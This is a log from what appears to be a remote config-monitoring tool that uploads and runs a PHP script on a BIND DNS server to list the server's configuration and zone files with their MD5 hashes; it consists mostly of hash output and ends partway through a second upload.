MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:02:13: Establishing a connection
2026-02-09 14:02:14: 

PUT: /tmp/pkp518507

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:02:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp518507; rm /tmp/pkp518507'

2026-02-09 14:02:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:03:48: Establishing a connection
2026-02-09 14:03:48: 

PUT: /tmp/pkp218389

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

